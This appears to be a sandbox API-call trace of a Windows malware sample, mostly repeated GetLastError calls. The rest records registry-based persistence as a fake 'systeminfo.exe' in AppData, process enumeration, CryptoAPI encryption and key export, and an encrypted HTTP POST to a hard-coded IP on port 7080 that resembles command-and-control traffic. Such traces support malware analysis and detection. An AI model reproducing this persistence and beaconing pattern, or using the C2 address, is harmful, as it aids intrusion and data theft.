GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.596] GetLastError () returned 0x0 [0084.597] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x290f4b8, lpdwBufferLength=0x290f4c0, lpdwIndex=0x0 | out: lpBuffer=0x290f4b8*, lpdwBufferLength=0x290f4c0*=0x4, lpdwIndex=0x0) returned 1 [0084.598] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3a50, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3a50*, lpdwNumberOfBytesRead=0x290f4bc*=0x94) returned 1 [0084.598] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3ae4, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3ae4*, lpdwNumberOfBytesRead=0x290f4bc*=0x0) returned 1 [0084.598] GetCurrentProcessId () returned 0x81c [0084.598] lstrlenA (lpString="just string") returned 11 [0084.598] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0084.598] GetLastError () returned 0x0 [0084.598] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0084.598] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db5e8, Final=1, dwFlags=0x0, pbData=0x40cc80, pdwDataLen=0x290f58c | out: pbData=0x40cc80, pdwDataLen=0x290f58c) returned 1 [0084.598] CryptVerifySignatureW (hHash=0x3db5e8, pbSignature=0x33c3a50, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0084.598] CryptDestroyHash (hHash=0x3db5e8) returned 1 [0084.598] GetCurrentProcessId () returned 0x81c [0084.598] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0084.598] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0084.598] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0084.598] RegSetValueExW (in: hKey=0x3a4, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0084.599] RegCloseKey (hKey=0x3a4) returned 0x0 [0085.000] GetTickCount () returned 0x243c3 [0085.000] GetCurrentProcessId () returned 0x81c [0085.000] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x290f388, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0085.000] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0085.000] GetCurrentProcessId () returned 0x81c [0085.000] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a4 [0085.001] lstrlenA (lpString="just string") returned 11 [0085.002] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0085.002] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0085.002] GetLastError () returned 0x0 [0085.002] GetCurrentProcessId () returned 0x81c [0085.002] GetCurrentProcessId () returned 0x81c [0085.017] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0085.017] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db5e8, Final=1, dwFlags=0x0, pbData=0x40bf5c*, pdwDataLen=0x290f4b4*=0x23c, dwBufLen=0x240 | out: pbData=0x40bf5c*, pdwDataLen=0x290f4b4*=0x240) returned 1 [0085.017] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x290f444, pdwDataLen=0x290f4b0 | out: pbData=0x290f444*, pdwDataLen=0x290f4b0*=0x6c) returned 1 [0085.017] GetLastError () returned 0x0 [0085.017] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x290f2b8, cbSize=0x290f4b8 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x290f4b8) returned 0x0 [0085.017] lstrlenA (lpString="just string") returned 11 [0085.017] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0085.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x290f2b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0085.017] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0085.017] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0085.017] GetCurrentProcess () returned 0xffffffff [0085.017] GetLastError () returned 0x0 [0085.017] wsprintfA (in: param_1=0x290f447, param_2="%X%P" | out: param_1="77AA15P") returned 7 [0085.017] SetLastError (dwErrCode=0x0) [0085.017] GetCurrentProcessId () returned 0x81c [0085.017] GetLastError () returned 0x0 [0085.017] wsprintfA (in: param_1=0x290f433, param_2="%X%P" | out: param_1="77AA16P") returned 7 [0085.017] SetLastError (dwErrCode=0x0) [0085.017] GetCurrentProcessId () returned 0x81c [0085.017] GetCurrentProcessId () returned 0x81c [0085.017] GetCurrentProcessId () returned 0x81c [0085.018] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0085.019] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x40bee8*, dwOptionalLength=0x2b4 | out: lpOptional=0x40bee8*) returned 1 [0085.608] GetLastError () returned 0x0 [0085.608] wsprintfA (in: param_1=0x290f41f, param_2="%X%P" | out: param_1="77AA3EP") returned 7 [0085.608] SetLastError (dwErrCode=0x0) [0085.608] GetCurrentProcessId () returned 0x81c [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.608] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.609] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.610] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.611] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.612] GetLastError () returned 0x0 [0085.613] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x290f570, lpdwBufferLength=0x290f4c8, lpdwIndex=0x0 | out: lpBuffer=0x290f570*, lpdwBufferLength=0x290f4c8*=0x4, lpdwIndex=0x0) returned 1 [0085.613] GetCurrentProcessId () returned 0x81c [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.613] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.614] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.615] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.616] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () 